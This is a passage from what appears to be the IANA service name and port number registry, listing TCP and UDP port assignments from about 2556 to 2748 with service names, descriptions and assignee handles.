nicetec-nmsvc 2556 udp nicetec-nmsvc
nicetec-mgmt 2557 tcp nicetec-mgmt [Joerg_Paulus] [Joerg_Paulus]
nicetec-mgmt 2557 udp nicetec-mgmt [Joerg_Paulus] [Joerg_Paulus]
pclemultimedia 2558 tcp PCLE Multi Media [Jacob_Gsoedl] [Jacob_Gsoedl]
pclemultimedia 2558 udp PCLE Multi Media [Jacob_Gsoedl] [Jacob_Gsoedl]
lstp 2559 tcp LSTP [Waiki_Wright] [Waiki_Wright]
lstp 2559 udp LSTP [Waiki_Wright] [Waiki_Wright]
labrat 2560 tcp labrat [John_Harvey] [John_Harvey]
labrat 2560 udp labrat [John_Harvey] [John_Harvey]
mosaixcc 2561 tcp MosaixCC [Steven_Frare] [Steven_Frare]
mosaixcc 2561 udp MosaixCC [Steven_Frare] [Steven_Frare]
delibo 2562 tcp Delibo [NovaWiz_LTD] [NovaWiz_LTD]
delibo 2562 udp Delibo [NovaWiz_LTD] [NovaWiz_LTD]
cti-redwood 2563 tcp CTI Redwood [Songwon_Chi] [Songwon_Chi]
cti-redwood 2563 udp CTI Redwood [Songwon_Chi] [Songwon_Chi]
hp-3000-telnet 2564 tcp HP 3000 NS/VT block mode
telnet
hp-3000-telnet 2564 udp HP 3000 NS/VT block mode
telnet
coord-svr 2565 tcp Coordinator Server [Richard_Steiger] [Richard_Steiger]
coord-svr 2565 udp Coordinator Server [Richard_Steiger] [Richard_Steiger]
pcs-pcw 2566 tcp pcs-pcw [W_Jordan_Fitzhugh] [W_Jordan_Fitzhugh]
pcs-pcw 2566 udp pcs-pcw [W_Jordan_Fitzhugh] [W_Jordan_Fitzhugh]
clp 2567 tcp Cisco Line Protocol [Susan_Hinrichs] [Susan_Hinrichs]
clp 2567 udp Cisco Line Protocol [Susan_Hinrichs] [Susan_Hinrichs]
spamtrap 2568 tcp SPAM TRAP [Charles_Bennett] [Charles_Bennett] 2008-08-29
spamtrap 2568 udp SPAM TRAP [Charles_Bennett] [Charles_Bennett] 2008-08-29
sonuscallsig 2569 tcp Sonus Call Signal [Mark_Garti] [Mark_Garti]
sonuscallsig 2569 udp Sonus Call Signal [Mark_Garti] [Mark_Garti]
hs-port 2570 tcp HS Port [Uri_Doron] [Uri_Doron]
hs-port 2570 udp HS Port [Uri_Doron] [Uri_Doron]
cecsvc 2571 tcp CECSVC [Roger_Pao] [Roger_Pao]
cecsvc 2571 udp CECSVC [Roger_Pao] [Roger_Pao]
ibp 2572 tcp IBP [Jonathan_Downes] [Jonathan_Downes]
ibp 2572 udp IBP [Jonathan_Downes] [Jonathan_Downes]
trustestablish 2573 tcp Trust Establish [Yosi_Mass] [Yosi_Mass]
trustestablish 2573 udp Trust Establish [Yosi_Mass] [Yosi_Mass]
blockade-bpsp 2574 tcp Blockade BPSP [Blockade] [Blockade]
blockade-bpsp 2574 udp Blockade BPSP [Blockade] [Blockade]
hl7 2575 tcp HL7 [Tim_Jacobs] [Tim_Jacobs]
hl7 2575 udp HL7 [Tim_Jacobs] [Tim_Jacobs]
tclprodebugger 2576 tcp TCL Pro Debugger
tclprodebugger 2576 udp TCL Pro Debugger
scipticslsrvr 2577 tcp Scriptics Lsrvr [Brent_Welch] [Brent_Welch]
scipticslsrvr 2577 udp Scriptics Lsrvr [Brent_Welch] [Brent_Welch]
rvs-isdn-dcp 2578 tcp RVS ISDN DCP [Michael_Zirpel] [Michael_Zirpel]
rvs-isdn-dcp 2578 udp RVS ISDN DCP [Michael_Zirpel] [Michael_Zirpel]
mpfoncl 2579 tcp mpfoncl [Itaru_Kimura] [Itaru_Kimura]
mpfoncl 2579 udp mpfoncl [Itaru_Kimura] [Itaru_Kimura]
tributary 2580 tcp Tributary [Louis_Lu] [Louis_Lu]
tributary 2580 udp Tributary [Louis_Lu] [Louis_Lu]
argis-te 2581 tcp ARGIS TE
argis-te 2581 udp ARGIS TE
argis-ds 2582 tcp ARGIS DS [John_Legh_Page] [John_Legh_Page]
argis-ds 2582 udp ARGIS DS [John_Legh_Page] [John_Legh_Page]
mon 2583 tcp MON [Jim_Trocki] [Jim_Trocki]
mon 2583 udp MON [Jim_Trocki] [Jim_Trocki]
cyaserv 2584 tcp cyaserv [Morgan_Jones] [Morgan_Jones]
cyaserv 2584 udp cyaserv [Morgan_Jones] [Morgan_Jones]
netx-server 2585 tcp NETX Server
netx-server 2585 udp NETX Server
netx-agent 2586 tcp NETX Agent [Brett_Dolecheck] [Brett_Dolecheck]
netx-agent 2586 udp NETX Agent [Brett_Dolecheck] [Brett_Dolecheck]
masc 2587 tcp MASC [Pavlin_Ivanov_Radosl] [Pavlin_Ivanov_Radosl]
masc 2587 udp MASC [Pavlin_Ivanov_Radosl] [Pavlin_Ivanov_Radosl]
privilege 2588 tcp Privilege [Gil_Hecht] [Gil_Hecht]
privilege 2588 udp Privilege [Gil_Hecht] [Gil_Hecht]
quartus-tcl 2589 tcp quartus tcl [Subroto_Datta] [Subroto_Datta]
quartus-tcl 2589 udp quartus tcl [Subroto_Datta] [Subroto_Datta]
idotdist 2590 tcp idotdist [Jason_Hunter] [Jason_Hunter]
idotdist 2590 udp idotdist [Jason_Hunter] [Jason_Hunter]
maytagshuffle 2591 tcp Maytag Shuffle [Ken_Ksiazek] [Ken_Ksiazek]
maytagshuffle 2591 udp Maytag Shuffle [Ken_Ksiazek] [Ken_Ksiazek]
netrek 2592 tcp netrek [Al_Guetzlaff] [Al_Guetzlaff]
netrek 2592 udp netrek [Al_Guetzlaff] [Al_Guetzlaff]
mns-mail 2593 tcp MNS Mail Notice Service [Rumiko_Kikuta] [Rumiko_Kikuta]
mns-mail 2593 udp MNS Mail Notice Service [Rumiko_Kikuta] [Rumiko_Kikuta]
dts 2594 tcp Data Base Server [Andreas_Roene] [Andreas_Roene]
dts 2594 udp Data Base Server [Andreas_Roene] [Andreas_Roene]
worldfusion1 2595 tcp World Fusion 1
worldfusion1 2595 udp World Fusion 1
worldfusion2 2596 tcp World Fusion 2 [World_Fusion] [World_Fusion]
worldfusion2 2596 udp World Fusion 2 [World_Fusion] [World_Fusion]
homesteadglory 2597 tcp Homestead Glory [John_Tokash] [John_Tokash]
homesteadglory 2597 udp Homestead Glory [John_Tokash] [John_Tokash]
citriximaclient 2598 tcp Citrix MA Client [Myk_Willis] [Myk_Willis]
citriximaclient 2598 udp Citrix MA Client [Myk_Willis] [Myk_Willis]
snapd 2599 tcp Snap Discovery [Kevin_Osborn] [Kevin_Osborn]
snapd 2599 udp Snap Discovery [Kevin_Osborn] [Kevin_Osborn]
hpstgmgr 2600 tcp HPSTGMGR [Kevin_Collins] [Kevin_Collins]
hpstgmgr 2600 udp HPSTGMGR [Kevin_Collins] [Kevin_Collins]
discp-client 2601 tcp discp client
discp-client 2601 udp discp client
discp-server 2602 tcp discp server [Peter_White] [Peter_White]
discp-server 2602 udp discp server [Peter_White] [Peter_White]
servicemeter 2603 tcp Service Meter [Duncan_Hare] [Duncan_Hare]
servicemeter 2603 udp Service Meter [Duncan_Hare] [Duncan_Hare]
nsc-ccs 2604 tcp NSC CCS
nsc-ccs 2604 udp NSC CCS
nsc-posa 2605 tcp NSC POSA [Tom_Findley] [Tom_Findley]
nsc-posa 2605 udp NSC POSA [Tom_Findley] [Tom_Findley]
netmon 2606 tcp Dell Netmon
netmon 2606 udp Dell Netmon
connection 2607 tcp Dell Connection [Sudhir_Shetty] [Sudhir_Shetty]
connection 2607 udp Dell Connection [Sudhir_Shetty] [Sudhir_Shetty]
wag-service 2608 tcp Wag Service [Gilles_Bourquard] [Gilles_Bourquard]
wag-service 2608 udp Wag Service [Gilles_Bourquard] [Gilles_Bourquard]
system-monitor 2609 tcp System Monitor [Greg_Robson_Garth] [Greg_Robson_Garth]
system-monitor 2609 udp System Monitor [Greg_Robson_Garth] [Greg_Robson_Garth]
versa-tek 2610 tcp VersaTek [James_Kou] [James_Kou]
versa-tek 2610 udp VersaTek [James_Kou] [James_Kou]
lionhead 2611 tcp LIONHEAD [Tim_Rance] [Tim_Rance]
lionhead 2611 udp LIONHEAD [Tim_Rance] [Tim_Rance]
qpasa-agent 2612 tcp Qpasa Agent [Craig_Ching] [Craig_Ching]
qpasa-agent 2612 udp Qpasa Agent [Craig_Ching] [Craig_Ching]
smntubootstrap 2613 tcp SMNTUBootstrap [Matt_Cecile] [Matt_Cecile]
smntubootstrap 2613 udp SMNTUBootstrap [Matt_Cecile] [Matt_Cecile]
neveroffline 2614 tcp Never Offline [Dustin_Brand] [Dustin_Brand]
neveroffline 2614 udp Never Offline [Dustin_Brand] [Dustin_Brand]
firepower 2615 tcp firepower [Jason_Volk] [Jason_Volk]
firepower 2615 udp firepower [Jason_Volk] [Jason_Volk]
appswitch-emp 2616 tcp appswitch-emp [Ted_Ross] [Ted_Ross]
appswitch-emp 2616 udp appswitch-emp [Ted_Ross] [Ted_Ross]
cmadmin 2617 tcp Clinical Context Managers [Mark_Morwood] [Mark_Morwood]
cmadmin 2617 udp Clinical Context Managers [Mark_Morwood] [Mark_Morwood]
priority-e-com 2618 tcp Priority E-Com [Marcelo_Einhorn_2] [Marcelo_Einhorn_2]
priority-e-com 2618 udp Priority E-Com [Marcelo_Einhorn_2] [Marcelo_Einhorn_2]
bruce 2619 tcp bruce [Alec_Muffett] [Alec_Muffett]
bruce 2619 udp bruce [Alec_Muffett] [Alec_Muffett]
lpsrecommender 2620 tcp LPSRecommender [Pritham_Shetty_2] [Pritham_Shetty_2]
lpsrecommender 2620 udp LPSRecommender [Pritham_Shetty_2] [Pritham_Shetty_2]
miles-apart 2621 tcp Miles Apart Jukebox Server [Michael_Rathmann] [Michael_Rathmann]
miles-apart 2621 udp Miles Apart Jukebox Server [Michael_Rathmann] [Michael_Rathmann]
metricadbc 2622 tcp MetricaDBC [Russ_Olivant] [Russ_Olivant]
metricadbc 2622 udp MetricaDBC [Russ_Olivant] [Russ_Olivant]
lmdp 2623 tcp LMDP [Ken_Bailey] [Ken_Bailey]
lmdp 2623 udp LMDP [Ken_Bailey] [Ken_Bailey]
aria 2624 tcp Aria [Logan_Bruns] [Logan_Bruns]
aria 2624 udp Aria [Logan_Bruns] [Logan_Bruns]
blwnkl-port 2625 tcp Blwnkl Port [Weng_Chin_Yung] [Weng_Chin_Yung]
blwnkl-port 2625 udp Blwnkl Port [Weng_Chin_Yung] [Weng_Chin_Yung]
gbjd816 2626 tcp gbjd816 [George_Balesta] [George_Balesta]
gbjd816 2626 udp gbjd816 [George_Balesta] [George_Balesta]
moshebeeri 2627 tcp Moshe Beeri [Moshe_Beeri] [Moshe_Beeri]
moshebeeri 2627 udp Moshe Beeri [Moshe_Beeri] [Moshe_Beeri]
dict 2628 tcp DICT [Rik_Faith] [Rik_Faith]
dict 2628 udp DICT [Rik_Faith] [Rik_Faith]
sitaraserver 2629 tcp Sitara Server
sitaraserver 2629 udp Sitara Server
sitaramgmt 2630 tcp Sitara Management
sitaramgmt 2630 udp Sitara Management
sitaradir 2631 tcp Sitara Dir [Manickam_R_Sridhar] [Manickam_R_Sridhar]
sitaradir 2631 udp Sitara Dir [Manickam_R_Sridhar] [Manickam_R_Sridhar]
irdg-post 2632 tcp IRdg Post [IRdg] [IRdg]
irdg-post 2632 udp IRdg Post [IRdg] [IRdg]
interintelli 2633 tcp InterIntelli [Mike_Gagle] [Mike_Gagle]
interintelli 2633 udp InterIntelli [Mike_Gagle] [Mike_Gagle]
pk-electronics 2634 tcp PK Electronics [Seb_Ibis] [Seb_Ibis]
pk-electronics 2634 udp PK Electronics [Seb_Ibis] [Seb_Ibis]
backburner 2635 tcp Back Burner [Kevin_Teiskoetter] [Kevin_Teiskoetter]
backburner 2635 udp Back Burner [Kevin_Teiskoetter] [Kevin_Teiskoetter]
solve 2636 tcp Solve [Peter_Morrison] [Peter_Morrison]
solve 2636 udp Solve [Peter_Morrison] [Peter_Morrison]
imdocsvc 2637 tcp Import Document Service [Zia_Bhatti] [Zia_Bhatti]
imdocsvc 2637 udp Import Document Service [Zia_Bhatti] [Zia_Bhatti]
sybaseanywhere 2638 tcp Sybase Anywhere [Dave_Neudoerffer] [Dave_Neudoerffer]
sybaseanywhere 2638 udp Sybase Anywhere [Dave_Neudoerffer] [Dave_Neudoerffer]
aminet 2639 tcp AMInet [Alcorn_McBride_Inc] [Alcorn_McBride_Inc]
aminet 2639 udp AMInet [Alcorn_McBride_Inc] [Alcorn_McBride_Inc]
ami-control 2640 tcp Alcorn McBride Inc protocol [Alcorn_McBride_Inc] [Joy_Burke]
used for device control
ami-control 2640 udp Alcorn McBride Inc protocol [Alcorn_McBride_Inc] [Joy_Burke]
used for device control
hdl-srv 2641 tcp HDL Server [David_Ely] [David_Ely]
hdl-srv 2641 udp HDL Server [David_Ely] [David_Ely]
tragic 2642 tcp Tragic [Stu_Mark] [Stu_Mark]
tragic 2642 udp Tragic [Stu_Mark] [Stu_Mark]
gte-samp 2643 tcp GTE-SAMP [Asher_Altman] [Asher_Altman]
gte-samp 2643 udp GTE-SAMP [Asher_Altman] [Asher_Altman]
travsoft-ipx-t 2644 tcp Travsoft IPX Tunnel [Jack_Wilson] [Jack_Wilson]
travsoft-ipx-t 2644 udp Travsoft IPX Tunnel [Jack_Wilson] [Jack_Wilson]
novell-ipx-cmd 2645 tcp Novell IPX CMD [Juan_Carlos_Luciani] [Juan_Carlos_Luciani]
novell-ipx-cmd 2645 udp Novell IPX CMD [Juan_Carlos_Luciani] [Juan_Carlos_Luciani]
and-lm 2646 tcp AND License Manager [Dick_van_der_Sijs] [Dick_van_der_Sijs]
and-lm 2646 udp AND License Manager [Dick_van_der_Sijs] [Dick_van_der_Sijs]
syncserver 2647 tcp SyncServer [Shawn_Casey] [Shawn_Casey]
syncserver 2647 udp SyncServer [Shawn_Casey] [Shawn_Casey]
upsnotifyprot 2648 tcp Upsnotifyprot [Mario_Leboute] [Mario_Leboute]
upsnotifyprot 2648 udp Upsnotifyprot [Mario_Leboute] [Mario_Leboute]
vpsipport 2649 tcp VPSIPPORT [Joon_Radley] [Joon_Radley]
vpsipport 2649 udp VPSIPPORT [Joon_Radley] [Joon_Radley]
eristwoguns 2650 tcp eristwoguns [Jason_Lockett][Melanie_Kacerek] [Jason_Lockett][Melanie_Kacerek] 2008-12-16
eristwoguns 2650 udp eristwoguns [Jason_Lockett][Melanie_Kacerek] [Jason_Lockett][Melanie_Kacerek] 2008-12-16
ebinsite 2651 tcp EBInSite [Lefteris_Kalamaras] [Lefteris_Kalamaras]
ebinsite 2651 udp EBInSite [Lefteris_Kalamaras] [Lefteris_Kalamaras]
interpathpanel 2652 tcp InterPathPanel [Stephen_Misel] [Stephen_Misel]
interpathpanel 2652 udp InterPathPanel [Stephen_Misel] [Stephen_Misel]
sonus 2653 tcp Sonus [Mark_Garti] [Mark_Garti]
sonus 2653 udp Sonus [Mark_Garti] [Mark_Garti]
Corel VNC Admin
corel-vncadmin 2654 tcp IANA assigned this [Oleg_Noskov] [Oleg_Noskov]
well-formed service name as
a replacement for
"corel_vncadmin".
This entry is an alias to "corel-vncadmin". This entry is now
corel_vncadmin 2654 tcp Corel VNC Admin [Oleg_Noskov] [Oleg_Noskov] historic, not usable for use with many common service
discovery mechanisms.
Corel VNC Admin
corel-vncadmin 2654 udp IANA assigned this [Oleg_Noskov] [Oleg_Noskov]
well-formed service name as
a replacement for
"corel_vncadmin".
This entry is an alias to "corel-vncadmin". This entry is now
corel_vncadmin 2654 udp Corel VNC Admin [Oleg_Noskov] [Oleg_Noskov] historic, not usable for use with many common service
discovery mechanisms.
unglue 2655 tcp UNIX Nt Glue [Peter_Santoro] [Peter_Santoro]
unglue 2655 udp UNIX Nt Glue [Peter_Santoro] [Peter_Santoro]
kana 2656 tcp Kana [Colin_Goldstein] [Colin_Goldstein]
kana 2656 udp Kana [Colin_Goldstein] [Colin_Goldstein]
sns-dispatcher 2657 tcp SNS Dispatcher
sns-dispatcher 2657 udp SNS Dispatcher
sns-admin 2658 tcp SNS Admin
sns-admin 2658 udp SNS Admin
sns-query 2659 tcp SNS Query [Mary_Holstege] [Mary_Holstege]
sns-query 2659 udp SNS Query [Mary_Holstege] [Mary_Holstege]
gcmonitor 2660 tcp GC Monitor [Gustavo_Rodriguez_Ri] [Gustavo_Rodriguez_Ri]
gcmonitor 2660 udp GC Monitor [Gustavo_Rodriguez_Ri] [Gustavo_Rodriguez_Ri]
olhost 2661 tcp OLHOST [Robert_Ripberger] [Robert_Ripberger]
olhost 2661 udp OLHOST [Robert_Ripberger] [Robert_Ripberger]
Unauthorized
bintec-capi 2662 tcp BinTec-CAPI Use Known on
port 2662
Unauthorized
bintec-capi 2662 udp BinTec-CAPI Use Known on
port 2662
bintec-tapi 2663 tcp BinTec-TAPI
bintec-tapi 2663 udp BinTec-TAPI
patrol-mq-gm 2664 tcp Patrol for MQ GM
patrol-mq-gm 2664 udp Patrol for MQ GM
patrol-mq-nm 2665 tcp Patrol for MQ NM [Portnoy_Boxman] [Portnoy_Boxman]
patrol-mq-nm 2665 udp Patrol for MQ NM [Portnoy_Boxman] [Portnoy_Boxman]
extensis 2666 tcp extensis [Milton_Sagen] [Milton_Sagen]
extensis 2666 udp extensis [Milton_Sagen] [Milton_Sagen]
alarm-clock-s 2667 tcp Alarm Clock Server
alarm-clock-s 2667 udp Alarm Clock Server
alarm-clock-c 2668 tcp Alarm Clock Client
alarm-clock-c 2668 udp Alarm Clock Client
toad 2669 tcp TOAD [Michael_Marking] [Michael_Marking]
toad 2669 udp TOAD [Michael_Marking] [Michael_Marking]
tve-announce 2670 tcp TVE Announce [Dean_Blackketter] [Dean_Blackketter]
tve-announce 2670 udp TVE Announce [Dean_Blackketter] [Dean_Blackketter]
newlixreg 2671 tcp newlixreg [Jean_Serge_Gagnon_2] [Jean_Serge_Gagnon_2]
newlixreg 2671 udp newlixreg [Jean_Serge_Gagnon_2] [Jean_Serge_Gagnon_2]
nhserver 2672 tcp nhserver [Adrian_Hornby] [Adrian_Hornby]
nhserver 2672 udp nhserver [Adrian_Hornby] [Adrian_Hornby]
firstcall42 2673 tcp First Call 42 [Luke_Bowen] [Luke_Bowen]
firstcall42 2673 udp First Call 42 [Luke_Bowen] [Luke_Bowen]
ewnn 2674 tcp ewnn [Yasunari_Yamashita] [Yasunari_Yamashita]
ewnn 2674 udp ewnn [Yasunari_Yamashita] [Yasunari_Yamashita]
ttc-etap 2675 tcp TTC ETAP [Daniel_Becker] [Daniel_Becker]
ttc-etap 2675 udp TTC ETAP [Daniel_Becker] [Daniel_Becker]
simslink 2676 tcp SIMSLink [Steve_Ryckman] [Steve_Ryckman]
simslink 2676 udp SIMSLink [Steve_Ryckman] [Steve_Ryckman]
gadgetgate1way 2677 tcp Gadget Gate 1 Way
gadgetgate1way 2677 udp Gadget Gate 1 Way
gadgetgate2way 2678 tcp Gadget Gate 2 Way [Matt_Rollins] [Matt_Rollins]
gadgetgate2way 2678 udp Gadget Gate 2 Way [Matt_Rollins] [Matt_Rollins]
syncserverssl 2679 tcp Sync Server SSL [Shawn_Casey] [Shawn_Casey]
syncserverssl 2679 udp Sync Server SSL [Shawn_Casey] [Shawn_Casey]
pxc-sapxom 2680 tcp pxc-sapxom [Hideki_Kiriyama] [Hideki_Kiriyama]
pxc-sapxom 2680 udp pxc-sapxom [Hideki_Kiriyama] [Hideki_Kiriyama]
mpnjsomb 2681 tcp mpnjsomb [Takenori_Miyahara] [Takenori_Miyahara]
mpnjsomb 2681 udp mpnjsomb [Takenori_Miyahara] [Takenori_Miyahara]
2682 Removed 2002-04-30
ncdloadbalance 2683 tcp NCDLoadBalance [Tim_Stevenson] [Tim_Stevenson]
ncdloadbalance 2683 udp NCDLoadBalance [Tim_Stevenson] [Tim_Stevenson]
mpnjsosv 2684 tcp mpnjsosv
mpnjsosv 2684 udp mpnjsosv
mpnjsocl 2685 tcp mpnjsocl
mpnjsocl 2685 udp mpnjsocl
mpnjsomg 2686 tcp mpnjsomg [Takenori_Miyahara] [Takenori_Miyahara]
mpnjsomg 2686 udp mpnjsomg [Takenori_Miyahara] [Takenori_Miyahara]
pq-lic-mgmt 2687 tcp pq-lic-mgmt [Bob_Sledge] [Bob_Sledge]
pq-lic-mgmt 2687 udp pq-lic-mgmt [Bob_Sledge] [Bob_Sledge]
md-cg-http 2688 tcp md-cf-http [Lyndon_Nerenberg] [Lyndon_Nerenberg]
md-cg-http 2688 udp md-cf-http [Lyndon_Nerenberg] [Lyndon_Nerenberg]
fastlynx 2689 tcp FastLynx [Dave_Sewell] [Dave_Sewell]
fastlynx 2689 udp FastLynx [Dave_Sewell] [Dave_Sewell]
hp-nnm-data 2690 tcp HP NNM Embedded Database [Chris_Das] [Chris_Das]
hp-nnm-data 2690 udp HP NNM Embedded Database [Chris_Das] [Chris_Das]
itinternet 2691 tcp ITInternet ISM Server [Ron_Ehli] [Ron_Ehli]
itinternet 2691 udp ITInternet ISM Server [Ron_Ehli] [Ron_Ehli]
admins-lms 2692 tcp Admins LMS [Dagfinn_Saether] [Dagfinn_Saether]
admins-lms 2692 udp Admins LMS [Dagfinn_Saether] [Dagfinn_Saether]
2693 tcp Unassigned (Removed 2004-2-6)
2693 udp Unassigned (Removed 2004-2-6)
pwrsevent 2694 tcp pwrsevent [Yoshinobu_Nakamura] [Yoshinobu_Nakamura]
pwrsevent 2694 udp pwrsevent [Yoshinobu_Nakamura] [Yoshinobu_Nakamura]
vspread 2695 tcp VSPREAD [Sumitake_kobayashi] [Sumitake_kobayashi]
vspread 2695 udp VSPREAD [Sumitake_kobayashi] [Sumitake_kobayashi]
unifyadmin 2696 tcp Unify Admin [Daegis_Inc] [Chris_Anderson] 2012-07-31
unifyadmin 2696 udp Unify Admin [Daegis_Inc] [Chris_Anderson] 2012-07-31
oce-snmp-trap 2697 tcp Oce SNMP Trap Port [Peter_Teeuwen] [Peter_Teeuwen]
oce-snmp-trap 2697 udp Oce SNMP Trap Port [Peter_Teeuwen] [Peter_Teeuwen]
mck-ivpip 2698 tcp MCK-IVPIP [Robert_Vincent] [Robert_Vincent]
mck-ivpip 2698 udp MCK-IVPIP [Robert_Vincent] [Robert_Vincent]
csoft-plusclnt 2699 tcp Csoft Plus Client [Nedelcho_Stanev] [Nedelcho_Stanev]
csoft-plusclnt 2699 udp Csoft Plus Client [Nedelcho_Stanev] [Nedelcho_Stanev]
tqdata 2700 tcp tqdata [Al_Guetzlaff] [Al_Guetzlaff]
tqdata 2700 udp tqdata [Al_Guetzlaff] [Al_Guetzlaff]
sms-rcinfo 2701 tcp SMS RCINFO
sms-rcinfo 2701 udp SMS RCINFO
sms-xfer 2702 tcp SMS XFER
sms-xfer 2702 udp SMS XFER
sms-chat 2703 tcp SMS CHAT
sms-chat 2703 udp SMS CHAT
sms-remctrl 2704 tcp SMS REMCTRL [Tom_Friend] [Tom_Friend]
sms-remctrl 2704 udp SMS REMCTRL [Tom_Friend] [Tom_Friend]
sds-admin 2705 tcp SDS Admin [Don_Traub] [Don_Traub]
sds-admin 2705 udp SDS Admin [Don_Traub] [Don_Traub]
ncdmirroring 2706 tcp NCD Mirroring [Tim_Stevenson] [Tim_Stevenson]
ncdmirroring 2706 udp NCD Mirroring [Tim_Stevenson] [Tim_Stevenson]
emcsymapiport 2707 tcp EMCSYMAPIPORT [Bruce_Ferjulian] [Bruce_Ferjulian]
emcsymapiport 2707 udp EMCSYMAPIPORT [Bruce_Ferjulian] [Bruce_Ferjulian]
banyan-net 2708 tcp Banyan-Net [R_Thirumurthy] [R_Thirumurthy]
banyan-net 2708 udp Banyan-Net [R_Thirumurthy] [R_Thirumurthy]
supermon 2709 tcp Supermon [Ron_Minnich] [Ron_Minnich]
supermon 2709 udp Supermon [Ron_Minnich] [Ron_Minnich]
sso-service 2710 tcp SSO Service
sso-service 2710 udp SSO Service
sso-control 2711 tcp SSO Control [Axel_Kern] [Axel_Kern]
sso-control 2711 udp SSO Control [Axel_Kern] [Axel_Kern]
aocp 2712 tcp Axapta Object Communication [Jakob_Steen_Hansen] [Jakob_Steen_Hansen]
Protocol
aocp 2712 udp Axapta Object Communication [Jakob_Steen_Hansen] [Jakob_Steen_Hansen]
Protocol
raventbs 2713 tcp Raven Trinity Broker Service
raventbs 2713 udp Raven Trinity Broker Service
raventdm 2714 tcp Raven Trinity Data Mover [Daniel_Sorlov] [Daniel_Sorlov]
raventdm 2714 udp Raven Trinity Data Mover [Daniel_Sorlov] [Daniel_Sorlov]
hpstgmgr2 2715 tcp HPSTGMGR2 [Kevin_Collins_2] [Kevin_Collins_2]
hpstgmgr2 2715 udp HPSTGMGR2 [Kevin_Collins_2] [Kevin_Collins_2]
inova-ip-disco 2716 tcp Inova IP Disco [Chris_Koeritz] [Chris_Koeritz]
inova-ip-disco 2716 udp Inova IP Disco [Chris_Koeritz] [Chris_Koeritz]
pn-requester 2717 tcp PN REQUESTER
pn-requester 2717 udp PN REQUESTER
pn-requester2 2718 tcp PN REQUESTER 2 [Portnoy_Boxman] [Portnoy_Boxman]
pn-requester2 2718 udp PN REQUESTER 2 [Portnoy_Boxman] [Portnoy_Boxman]
scan-change 2719 tcp Scan & Change [Alexander_Raji] [Alexander_Raji]
scan-change 2719 udp Scan & Change [Alexander_Raji] [Alexander_Raji]
wkars 2720 tcp wkars [Barry_Shelton] [Barry_Shelton]
wkars 2720 udp wkars [Barry_Shelton] [Barry_Shelton]
smart-diagnose 2721 tcp Smart Diagnose [Geoffry_Meek] [Geoffry_Meek]
smart-diagnose 2721 udp Smart Diagnose [Geoffry_Meek] [Geoffry_Meek]
proactivesrvr 2722 tcp Proactive Server [Dalit_Naor] [Dalit_Naor]
proactivesrvr 2722 udp Proactive Server [Dalit_Naor] [Dalit_Naor]
watchdog-nt 2723 tcp WatchDog NT Protocol [Glen_Sansoucie] [Glen_Sansoucie]
watchdog-nt 2723 udp WatchDog NT Protocol [Glen_Sansoucie] [Glen_Sansoucie]
qotps 2724 tcp qotps [Piotr_Parlewicz] [Piotr_Parlewicz]
qotps 2724 udp qotps [Piotr_Parlewicz] [Piotr_Parlewicz]
msolap-ptp2 2725 tcp MSOLAP PTP2 [Cristian_Petculescu] [Cristian_Petculescu]
msolap-ptp2 2725 udp MSOLAP PTP2 [Cristian_Petculescu] [Cristian_Petculescu]
tams 2726 tcp TAMS [David_Leinbach] [David_Leinbach]
tams 2726 udp TAMS [David_Leinbach] [David_Leinbach]
mgcp-callagent 2727 tcp Media Gateway Control [Christian_Huitema] [Christian_Huitema]
Protocol Call Agent
mgcp-callagent 2727 udp Media Gateway Control [Christian_Huitema] [Christian_Huitema]
Protocol Call Agent
sqdr 2728 tcp SQDR [Matthew_Orzen] [Matthew_Orzen]
sqdr 2728 udp SQDR [Matthew_Orzen] [Matthew_Orzen]
tcim-control 2729 tcp TCIM Control [Dean_Skelton] [Dean_Skelton]
tcim-control 2729 udp TCIM Control [Dean_Skelton] [Dean_Skelton]
nec-raidplus 2730 tcp NEC RaidPlus [Yusuke_Asai] [Yusuke_Asai]
nec-raidplus 2730 udp NEC RaidPlus [Yusuke_Asai] [Yusuke_Asai]
fyre-messanger 2731 tcp Fyre Messanger [Robert_Waters] [Robert_Waters]
fyre-messanger 2731 udp Fyre Messagner [Robert_Waters] [Robert_Waters]
g5m 2732 tcp G5M [Graham_Klyne] [Graham_Klyne]
g5m 2732 udp G5M [Graham_Klyne] [Graham_Klyne]
signet-ctf 2733 tcp Signet CTF [Greg_Broiles] [Greg_Broiles]
signet-ctf 2733 udp Signet CTF [Greg_Broiles] [Greg_Broiles]
ccs-software 2734 tcp CCS Software [Bertus_Jacobs] [Bertus_Jacobs]
ccs-software 2734 udp CCS Software [Bertus_Jacobs] [Bertus_Jacobs]
netiq-mc 2735 tcp NetIQ Monitor Console [Scott_Southard] [Scott_Southard] 2010-08-25
netiq-mc 2735 udp NetIQ Monitor Console [Scott_Southard] [Scott_Southard] 2010-08-25
radwiz-nms-srv 2736 tcp RADWIZ NMS SRV [Israel_Shainert] [Israel_Shainert]
radwiz-nms-srv 2736 udp RADWIZ NMS SRV [Israel_Shainert] [Israel_Shainert]
srp-feedback 2737 tcp SRP Feedback [Werner_Almesberger] [Werner_Almesberger]
srp-feedback 2737 udp SRP Feedback [Werner_Almesberger] [Werner_Almesberger]
ndl-tcp-ois-gw 2738 tcp NDL TCP-OSI Gateway [Martin_Norman] [Martin_Norman]
ndl-tcp-ois-gw 2738 udp NDL TCP-OSI Gateway [Martin_Norman] [Martin_Norman]
tn-timing 2739 tcp TN Timing [Paul_Roberts] [Paul_Roberts]
tn-timing 2739 udp TN Timing [Paul_Roberts] [Paul_Roberts]
alarm 2740 tcp Alarm [Uriy_Makasjuk] [Uriy_Makasjuk]
alarm 2740 udp Alarm [Uriy_Makasjuk] [Uriy_Makasjuk]
tsb 2741 tcp TSB
tsb 2741 udp TSB
tsb2 2742 tcp TSB2 [Ashish_Chatterjee] [Ashish_Chatterjee]
tsb2 2742 udp TSB2 [Ashish_Chatterjee] [Ashish_Chatterjee]
murx 2743 tcp murx [Thomas_Kuiper] [Thomas_Kuiper]
murx 2743 udp murx [Thomas_Kuiper] [Thomas_Kuiper]
honyaku 2744 tcp honyaku [Yasunari_Yamashita] [Yasunari_Yamashita]
honyaku 2744 udp honyaku [Yasunari_Yamashita] [Yasunari_Yamashita]
urbisnet 2745 tcp URBISNET [Urbis_Net_Ltd] [Urbis_Net_Ltd]
urbisnet 2745 udp URBISNET [Urbis_Net_Ltd] [Urbis_Net_Ltd]
cpudpencap 2746 tcp CPUDPENCAP [Tamir_Zegman] [Tamir_Zegman]
cpudpencap 2746 udp CPUDPENCAP [Tamir_Zegman] [Tamir_Zegman]
fjippol-swrly 2747 tcp
fjippol-swrly 2747 udp
fjippol-polsvr 2748 tcp
